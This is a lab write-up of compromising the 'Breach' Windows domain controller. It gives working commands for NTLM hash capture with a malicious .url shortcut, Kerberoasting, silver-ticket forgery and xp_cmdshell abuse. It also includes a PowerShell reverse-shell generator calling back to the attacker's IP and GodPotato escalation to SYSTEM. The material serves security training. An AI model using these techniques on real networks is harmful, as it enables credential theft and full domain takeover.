Breach

A Windows machine from Vulnlab/Hack The Box that teaches you how to capture NTLM authentication by placing maliciously crafted shortcut files in shares and escalate privileges to a service principal account via silver tickets.

Target: 10.129.39.50

Enumeration

Rustscan:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ rustscan -a 10.129.39.50 -r 1-65535 -- -sVC -T4 -oN nmap

Nmap Scan result:

# Nmap 7.98 scan initiated Thu Jan 15 13:53:31 2026 as: nmap -vvv -p 53,80,88,135,139,389,445,593,1433,3269,3268,3389,464,5985,9389,49664,49668,49916,49677,57172 -4 -sVC -T4 -oN nmap 10.129.39.50
Nmap scan report for 10.129.39.50
Host is up, received syn-ack (0.059s latency).
Scanned at 2026-01-15 13:53:31 CST for 103s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-15 19:53:38Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.129.39.50:1433:
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
| ms-sql-info:
|   10.129.39.50:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T19:27:17
| Not valid after:  2056-01-15T19:27:17
| MD5:     f82c c9a2 9e8a 4f1f be69 e25b 5863 4744
| SHA-1:   1a5e 9cbb 855c 2bef 3a62 6cef c698 f267 5fb8 5590
| SHA-256: db80 35b5 b29b 5ab9 14e5 7417 4af4 3180 6737 6cd5 c5a3 effe a830 80f8 7b9f e192
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQF6+z52UZEqZFmY/BQ2iL7jANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTE1MTkyNzE3WhgPMjA1NjAxMTUxOTI3MTdaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLt8Pa9
| scqc7bxQO9ljf2HnwYNDUyDm6UAezfrOI2UnjV9WSoqEvRJJRQjT0RfdaoxmRDsn
| u4X4iQh91avdH5zogobNaKa6T5GEwkrEBPZpmG9hPqw9Hxylv9ZVXOHWxcjZFWFn
| D21ASr77DiNEUEmTpnsGAynsyrZuRS4yIFVpJBito28UPmB5QXNqJYcP/kcAoqdM
| BPbZjPbVDJimLSDDUscNv9yWdwByUUMw8IhqQLNIu7yef4ShUXcx/8mOVzMN76aA
| kzwjFaFBba7U3LPddPIr6l9IjcHPvliuhMoPa/enpcAna8Z9TO7db6c4jcQn6X8a
| FyufXfYa9iw9zZUCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAafCsJ4tpaalugQRT
| Teiz4YRBZptEVUAOyyZr4MRbf0h2N5GwEXTxozoqP48N+QVLbuB5bnH6XZO31AhO
| b1IMppU9MFe/wrndZkAHTi3uLlYefwnz4sfXIvHRUbPMTRtvAGN8F8gvOP988PeJ
| smOTQTQVPkIMTH2XvS3sSZ1pf6+fYR4KVp28AmoUf15e/dwjglxmoyk+hy6869Sh
| /u07qgv5EZSXDWqx5gcrK2w3pvEKfabqXHe6nmXrr1h6rSoJnGSN51uyGxurt5/j
| LmAUMysneg/H2Um/rzBJ/WBwpCXuWEdPSOZpM4AdFFYLAhJj6I2b3TmMCz+Lr6BF
| iXkNeQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-15T19:55:12+00:00; 0s from scanner time.
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-07T08:04:48
| Not valid after:  2026-03-09T08:04:48
| MD5:     f457 54f6 0073 10ba ecb2 0f99 fca9 d035
| SHA-1:   ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
| SHA-256: 27dd 4b87 17d3 579e baa5 97f7 b638 7b2b ba05 ad39 fd81 d60f 4108 3a48 3602 55f8
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQG2ZJBuyGl6BOPrQhGij+hzANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDExJCUkVBQ0hEQy5icmVhY2gudmwwHhcNMjUwOTA3MDgwNDQ4WhcN
| MjYwMzA5MDgwNDQ4WjAdMRswGQYDVQQDExJCUkVBQ0hEQy5icmVhY2gudmwwggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDr0Po1BNi/Rf86RA49UWp30Roe
| cyMjyHDf8rw7jXP1e2r8EjqlTnsqF1jXTDF15O4XnKxXDZgbfA5HMJeKqEgiX6pU
| jCvPx7DltCjIZpeBsNXQ7VWMcufI2tkkxW9nMYl2tUAYlWUZ0vbtt9qcXlx5kTmD
| toYzUreg6H4dE3CvaqciqKv1jdfeGHJi4osmXfReKQm0kXQFQcznvI+sjZjW4nVd
| fXESwYUJW5AmD7/fsMCWiP1+QD13t3yiQmudfJfGWxvao6/QPyTQy8ReZqYhIowh
| Sipq3ANfBTnMDJ28LhAO7fjUIs32BGQ1b9vlPOLNFnxetwcDmwpgvEfCQomlAgMB
| AAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG
| 9w0BAQsFAAOCAQEAYxOQcP3pJC3UXcEgZON8YNGZyX1sAXQyx3USwdxUfNvGmRNG
| yUqzZZG4kfOwJ1UDOVsPP4jhVVK2W+6V7VP2InCse+8FBBg/JlbYhrUA/wXChSqT
| 4BlswCYPTCk5kxMfrS7yjLGDcsWC18gWoFUur5LNMIR8HpS9RnRgQB1DcoTAXpeL
| bY/gBEmgovd+Oc9AYS7TnUIKmfm9N5J4fyJkbrY/him706SVR7uSNxFOd4JCc8dt
| Yv+1uiByI7ypUay4F67yceFC+1QhYsP4DONBQu/lcDhRgSJX0/DRUbNq8ilXGD0j
| VcqqM+HRpdHucUitpvX1KojPvNQaCIFmE/cZww==
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-01-15T19:54:32+00:00
|_ssl-date: 2026-01-15T19:55:11+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49916/tcp open  msrpc         syn-ack Microsoft Windows RPC
57172/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-time:
|   date: 2026-01-15T19:54:35
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 28617/tcp): CLEAN (Timeout)
|   Check 2 (port 45344/tcp): CLEAN (Timeout)
|   Check 3 (port 20573/udp): CLEAN (Timeout)
|   Check 4 (port 64214/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 15 13:55:14 2026 -- 1 IP address (1 host up) scanned in 103.65 seconds

Several clues indicate this is a domain controller:

  • Open ports for DNS (53), Kerberos (88), and LDAP (389, 3268, 3269)
  • Scripts ms-sql-ntlm-info and rdp-ntlm-info indicate computer name being BREACHDC.breach.vl

Other notable service:

  • HTTP (80)
  • SMB (445)
  • MSSQL (1433)
  • RDP (3389)
  • WinRM (5985)

Before we proceed interacting with the target further, let’s add the domain and IP address to /etc/hosts:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ tail -n 1 /etc/hosts
10.129.39.50   breachdc.breach.vl  breach.vl

HTTP

Default IIS front page at http://breachdc.breach.vl/:

We can also conduct a directory and virtual host brute forcing to cover our basics, but in the end, there’s nothing interesting to see here.

SMB

We use Netexec to test guest access and found the guest user has read and write access to share.

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ nxc smb breach.vl -u guest -p '' --shares
SMB         10.129.39.50    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.39.50    445    BREACHDC         [+] breach.vl\guest:
SMB         10.129.39.50    445    BREACHDC         [*] Enumerated shares
SMB         10.129.39.50    445    BREACHDC         Share           Permissions     Remark
SMB         10.129.39.50    445    BREACHDC         -----           -----------     ------
SMB         10.129.39.50    445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.129.39.50    445    BREACHDC         C$                              Default share
SMB         10.129.39.50    445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.129.39.50    445    BREACHDC         NETLOGON                        Logon server share
SMB         10.129.39.50    445    BREACHDC         share           READ,WRITE
SMB         10.129.39.50    445    BREACHDC         SYSVOL                          Logon server share
SMB         10.129.39.50    445    BREACHDC         Users           READ

We connect to share with smbclient as guest user with empty password:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ smbclient //breach.vl/share -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan 15 14:05:46 2026
  ..                                DHS        0  Tue Sep  9 05:35:32 2025
  finance                             D        0  Thu Feb 17 05:19:34 2022
  software                            D        0  Thu Feb 17 05:19:12 2022
  transfer                            D        0  Mon Sep  8 05:13:44 2025

                7863807 blocks of size 4096. 1515326 blocks available

Inside the transfer folder is three subfolder, each named after a person. As the guest user, we are not able to access any of them.

smb: \> cd transfer
smb: \transfer\> ls
  .                                   D        0  Mon Sep  8 05:13:44 2025
  ..                                  D        0  Thu Jan 15 14:05:46 2026
  claire.pope                         D        0  Thu Feb 17 05:21:35 2022
  diana.pope                          D        0  Thu Feb 17 05:21:19 2022
  julia.wong                          D        0  Wed Apr 16 19:38:12 2025

                7863807 blocks of size 4096. 1515324 blocks available
smb: \transfer\> cd claire.pope
smb: \transfer\claire.pope\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\claire.pope\*
smb: \transfer\claire.pope\> cd ..\diana.pope
smb: \transfer\diana.pope\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\diana.pope\*
smb: \transfer\diana.pope\> cd ..\julia.wong
smb: \transfer\julia.wong\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\julia.wong\*

The finance and software folders are empty, leaving us no useful information.

smb: \transfer\julia.wong\> cd ..\..\
smb: \> ls
  .                                   D        0  Thu Jan 15 14:05:46 2026
  ..                                DHS        0  Tue Sep  9 05:35:32 2025
  finance                             D        0  Thu Feb 17 05:19:34 2022
  software                            D        0  Thu Feb 17 05:19:12 2022
  transfer                            D        0  Mon Sep  8 05:13:44 2025

                7863807 blocks of size 4096. 1515320 blocks available
smb: \> cd finance
smb: \finance\> ls
  .                                   D        0  Thu Feb 17 05:19:34 2022
  ..                                  D        0  Thu Jan 15 14:05:46 2026

                7863807 blocks of size 4096. 1515320 blocks available
smb: \finance\> cd ..\software
smb: \software\> ls
  .                                   D        0  Thu Feb 17 05:19:12 2022
  ..                                  D        0  Thu Jan 15 14:05:46 2026

                7863807 blocks of size 4096. 1515316 blocks available

At this point, we might feel a little stuck. If you read the hints for this box on Vulnlab wiki, it mentions that we can assume someone is visiting the share regularly. That open the opportunity for us to conduct attacks that require user interactions.

One such attack is by placing a crafted Internet Shortcut (.lnk or .url) file inside the share, with its icon path pointing to somewhere on an attacker controller SMB server. When the user navigates to the share foldier where the shortcut file is located, the Windows file explorer automatically tries to load the icon via the path indicated and attempts NTLM authentication against attacker controller server, allowing the attacker to capture the user’s NetNTLMv2 hash.

To carry out the attack. First we test our write access to the transfer folder on share:

smb: \transfer\> !echo "TEST SMB write" > test.txt
smb: \transfer\> put test.txt
putting file test.txt as \transfer\test.txt (0.1 kB/s) (average 0.1 kB/s)
smb: \transfer\> ls
  .                                   D        0  Thu Jan 15 14:18:12 2026
  ..                                  D        0  Thu Jan 15 14:05:46 2026
  claire.pope                         D        0  Thu Feb 17 05:21:35 2022
  diana.pope                          D        0  Thu Feb 17 05:21:19 2022
  julia.wong                          D        0  Wed Apr 16 19:38:12 2025
  test.txt                            A       15  Thu Jan 15 14:18:12 2026

                7863807 blocks of size 4096. 1514496 blocks available

Next, we can craft a minimal internet shortcut file like so:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat chrome.url
[InternetShortcut]
URL=placeholder
WorkingDirectory=placeholder
IconFile=\\10.10.14.142\share\icon.ico
IconIndex=1

We need to run Responder on another terminal window so that we can capture the authentication attempt.

Make sure the SMB server is turned ON. I personally got stuck here for quite some time wondering why the attack was not working until I realized that my responder was not running the SMB server, which should be enabled in /usr/share/responder/Responder.conf.

╭─brian@rx-93-nu ~
╰─$ sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[...]
[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [OFF]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]  <---- This should be *ON*
    Kerberos server            [ON]
    SQL server                 [ON]
[...]
[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...

Finally, we can upload the shortcut file via smbclient to the share and wait for the NTLM authentication to be captured.

smb: \transfer\> put chrome.url
putting file chrome.lnk as \transfer\chrome.url (0.7 kB/s) (average 0.4 kB/s)

Back on responder, we should be able to capture the user hash belonging to Julia Wong:

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.39.50
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash     : Julia.Wong::BREACH:<REDACTED>
[...]

We can crack the NetNTLMv2 hash with Hashcat (mode 5600).

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ hashcat -m 5600 -O julia.ntlm /usr/share/dict/rockyou.txt

After recovering Julia’s password, we can use it to log back into share and find the user flag under share\transfer\julia.wong:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ smbclient //breach.vl/share -U 'julia.wong%<REDACTED>'
Try "help" to get a list of possible commands.
smb: \> cd transfer\julia.wong
smb: \transfer\julia.wong\> ls
  .                                   D        0  Wed Apr 16 19:38:12 2025
  ..                                  D        0  Thu Jan 15 14:27:11 2026
  user.txt                            A       32  Wed Apr 16 19:38:22 2025

                7863807 blocks of size 4096. 1515657 blocks available

Privilege Escalation 1

Since Julia’s account belongs to the BREACH domain, we can start collecting information for Bloodhound to get a holistic view. Even though we don’t have code execution capabilities yet, we can still collect data by using bloodhound-ce-python from our Linux attacker machine with Julia’s credential:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ mkdir bloodhound
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cd bloodhound
╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ bloodhound-ce-python -d breach.vl -u 'julia.wong' -p <REDACTED> -dc 'breachdc.breach.vl' -c all -ns 10.129.39.50 --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: breach.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: breachdc.breach.vl
[...]
╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ ls
20260115152031_computers.json   20260115152031_gpos.json    20260115152031_users.json
20260115152031_containers.json  20260115152031_groups.json
20260115152031_domains.json     20260115152031_ous.json

We launch Bloodhound CE and import the data.

╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ bloodhound-cli up

To start off, we can take a look at julia.wong, the user we already control. However, Julia does not have any special privileges.

To continue our search, we can try to find Kerberoastable users on the domain by going to CYPHER > Saved Queries > All Kerberoastable users. Here, we find user SVC_MSSQL as a service account that we can Kerberoast:

The user’s Service Principal Name (SPN) is MSSQLSvc/breachdc.breach.vl:1433, meaning this might be the user that controls the MSSQL service running on port 1433 of our target.

When we Kerberoast the SVC_MSSQL user with Julia’s credential, we ask it to generate a Kerberos Ticket Granting Service (TGS) using a key derived from its own account password which we can crack on our attacker machine once obtained.

To carry out kerberoasting, we use Impacket GetUserSPNs.py:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ GetUserSPNs.py -request -dc-ip 10.129.39.50 breach.vl/julia.wong:<REDACTED> -o breach.vl.kerberoast
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName              Name       MemberOf  PasswordLastSet             LastLogon                   Delegation
--------------------------------  ---------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/breachdc.breach.vl:1433  svc_mssql            2022-02-17 04:43:08.106169  2026-01-15 13:27:10.888281



[-] CCache file is not found. Skipping...
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat breach.vl.kerberoast
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*<REDACTED>

We would successfully cracking the TGS for SVC_MSSQL’s plaintext password with Hashcat mode 13100.

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ hashcat -m 13100 -O breach.vl.kerberoast /usr/share/dict/rockyou.txt

Now that we have credentials belonging to SVC_MSSQL, the service principal to the MSSQL server on our target, we can forge a Silver Ticket for the Domain Admin. This is because we can now use the plaintext password to compute SVC_MSSQL’s NT hash and use it to encrypt arbitrary valid TGS for the service principal MSSQLSvc/breachdc.breach.vl:1433, which we can use to log into the service.

First, we use the crypto module of Pypykatz to get the NT hash of the password of SVC_MSSQL:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ pypykatz crypto nt <REDACTED>

Then, we use this hash and ticketer.py from Impacket to forge a silver ticket as Administrator. We also need to fill in the Domain SID of SVC_MSSQL, which we can find in the user information inside Bloodhound CE.

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ticketer.py -nthash <REDACTED> -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ll administrator.ccache
-rw-r--r-- 1 brian wheel 1.3K Jan 15 15:58 administrator.ccache

We can import the ticket into our current terminal session by exporting the KRB5CCNAME environment variable to the Credential Cache (.ccache) file which ticketer.py stored the forged TGS into.

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ export KRB5CCNAME=$PWD/administrator.ccache
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ klist
Ticket cache: FILE:/home/brian/Documents/study_files/hacking/vulnlab/breach/administrator.ccache
Default principal: administrator@BREACH.VL

Valid starting       Expires              Service principal
01/15/2026 16:00:56  01/13/2036 16:00:56  MSSQLSvc/breachdc.breach.vl:1433@BREACH.VL
        renew until 01/13/2036 16:00:56

Now, we login as Administrator into the MSSQL server:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ mssqlclient.py -k -no-pass -windows-auth breachdc.breach.vl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)>

Furthermore, we can use our admin privileges we obtained through forging a ticket for the Administrator user to turn on MSSQL’s xp_cmdshell option to execute commands. To do that, we need to first enable show advanced option then enable the option xp_cmdshell itself:

SQL (BREACH\Administrator  dbo@master)> EXEC sp_configure 'show advanced options',1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator  dbo@master)> RECONFIGURE
SQL (BREACH\Administrator  dbo@master)> EXEC sp_configure 'xp_cmdshell',1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator  dbo@master)> RECONFIGURE

Now we can use EXEC xp_cmdshell <cmd> to execute any commands we want. Notice that although we are logged into MSSQL as Administrator, we are executing commands under the context of SVC_MSSQL, the user the service is running under.

SQL (BREACH\Administrator  dbo@master)> EXEC xp_cmdshell 'whoami';
output
----------------
breach\svc_mssql
NULL

For an enhanced command execution experience, we run a PowerShell Reverse Shell. I wrote this Python script to generate PowerShell Reverse Shells on the fly:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat ~/.scripts/ps_revshell.py

#!/bin/python

import sys
import base64

if len(sys.argv)!= 3:
    print("Usage: ps_revshell.py <IP_ADDR> <PORT>")
    exit(1)

ip = sys.argv[1]
port = sys.argv[2]

payload = '$client = New-Object System.Net.Sockets.TCPClient("' + ip + '", ' + port + '); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ps_revshell.py 10.10.14.142 80
powershell -nop -w hidden -e JABjA[...]

Execute Reverse shell via MSSQL:

SQL (BREACH\Administrator  dbo@master)> EXEC xp_cmdshell 'powershell -nop -w hidden -e JABjAGwAaQBlAG4[...]';

On our Netcat listener, we receive a reverse shell:

╭─brian@rx-93-nu ~
╰─$ sudo rlwrap nc -nvlp 80
Listening on 0.0.0.0 80
Connection received on 10.129.39.50 59309

PS C:\Windows\system32> whoami
breach\svc_mssql

Privilege Escalation 2

Running whoami /priv reveals the SVC_MSSQL user has SeImpersonatePrivilege, which allows us to use a variety of exploits to impersonate as another user on the system. This can grant us SYSTEM access.

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\Windows\system32> systeminfo

Host Name:                 BREACHDC
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
[...]

Since this target runs a recent Windows Server release, we can use GodPotato to elevate our privileges.

PS C:\temp> .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140718045528064
[*] DispatchTable: 0x140718048118648
[*] UseProtseqFunction: 0x140718047410992
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\7269e80a-9fb0-44ca-8cf1-a7b86204dae5\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-0184-ffff-107e-e4598e7a7ad2
[*] DCOM obj OXID: 0xbb6e98649e72d592
[*] DCOM obj OID: 0xfbb0715b9818c668
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 928 Token:0x756  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 6820
nt authority\system

We use another PowerShell Reverse Shell payload generated by my ps_revshell.py:

╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ps_revshell.py 10.10.14.142 443
powershell -nop -w hidden -e JABjAGwAaQBlAG4A[...]

Now, we set up a Netcat listener and run the reverse shell via GodPotato as SYSTEM.

╭─brian@rx-93-nu ~
╰─$ sudo rlwrap nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.39.50 59407

PS C:\temp> whoami
nt authority\system
PS C:\temp> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

-a----         4/17/2025  12:37 AM             32 root.txt

We have now successfully compromised the target. From there, we can take over the domain by making shadow copy of the NTDS.dit file or use DCSync to dump all user hashes.

Conclusion

Breach is yet another realistic Active Directory box from Vulnlab. I think chaining Kerberoasting, Silver Tickets and MSSQL xp_cmdshell is the rather realistic element of this lab. The initial access via NTLM Authentication Coercion is also good, but it would have been better if the creator can more organically embed the hint that the share is regularly accessed by domain users. I would, for example, leave a note at the root of share that gives this hint. However, overall, I think this is quite a good box from Vulnlab.

I hope you have enjoyed this write-up and found it educational.

#Medium #Vulnlab #Hack the Box #Windows #Active Directory #NTLM #Silver Ticket